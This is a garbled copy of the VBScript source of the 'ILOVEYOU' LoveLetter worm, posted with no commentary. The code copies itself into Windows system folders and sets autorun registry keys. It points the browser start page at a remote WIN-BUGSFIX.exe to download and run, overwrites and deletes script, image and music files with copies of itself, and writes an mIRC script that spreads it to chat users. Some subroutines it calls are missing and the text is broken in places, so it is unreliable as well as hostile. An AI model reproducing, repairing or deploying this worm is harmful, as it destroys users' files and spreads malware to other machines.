rem barok -loveletter(vbe) <i>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,e q,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSy stemObject"
set file = fso.OpenTextFile(WScript.Scrip tFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.She ll"
rr=wscr.RegRead("HKEY_CURRENT_ USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout"
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicr osoftWindows Scripting
HostSettingsTimeout",0,"REG_DW ORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFull Name)
c.Copy(dirsystem&"MSKernel32.v bs"
c.Copy(dirwin&"Win32DLL.vbs"
c.Copy(dirsystem&"LOVE-LETTER- FOR-YOU.TXT.vbs"
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINESoftwareMic rosoftWindowsCurrentVersionRun MSKernel32",dirsystem&"MSKerne l32.vbs"
regcreate
"HKEY_LOCAL_MACHINESoftwareMic rosoftWindowsCurrentVersionRun ServicesWin32DLL",dirwin&"Win3 2DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_ USERSoftwareMicrosoftInternet ExplorerDownload
Directory"
if (downread="" then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32 .exe" =1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/ ~young1s/HJKhjnwerhjkxcvytwert nMTFwetrdsfmhPnjw6587345gvsdf7 679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/ ~angelcat/skladjflfdjghKJnwetr yDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFI X.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/ ~koichi/jf6TRjkcbGRpGqaq198vbF V5hfFEkbopBdQZnmPOhfgER67b3Vbv g/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/ ~chu/sdgfhjksdfjklNBmnfgkKLHjk qwtuHJBhAFSDGjkhYUgqwerasdjhPh jasfdglkNBhbqwebmznxcbvnmadshf gqw237461234iuy7thjg/WIN-BUGSF IX.exe"
end if
end if
if (fileexist(downread&"WIN-BUGSF IX.exe" =0) then
regcreate
"HKEY_LOCAL_MACHINESoftwareMic rosoftWindowsCurrentVersionRun WIN-BUGSFIX",downread&"WIN-BUG SFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicr osoftInternet ExplorerMainStart
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&""
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bna me,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.pa th)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs" or (ext="vbe" then
set ap=fso.OpenTextFile(f1.path,2, true)
ap.write vbscopy
ap.close
elseif(ext="js" or (ext="jse" or (ext="css" or (ext="wsh" or (ext="sct" or
(ext="hta" then
set ap=fso.OpenTextFile(f1.path,2, true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&" .vbs"
fso.DeleteFile(f1.path)
elseif(ext="jpg" or (ext="jpeg" then
set ap=fso.OpenTextFile(f1.path,2, true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs"
fso.DeleteFile(f1.path)
elseif(ext="mp3" or (ext="mp2" then
set mp3=fso.CreateTextFile(f1.path &".vbs"
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+ 2
end if
if (eq<>folderspec) then
if (s="mirc32.exe" or (s="mlink32.exe" or (s="mirc.ini" or (s="script.ini"
or (s="mirc.hlp" then
set scriptini=fso.CreateTextFile(f olderspec&"script.ini"
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if
mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"LOVE-LETTER-FOR-Y OU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next.......................... .................

"VIRUS I LOVE YOU"</i>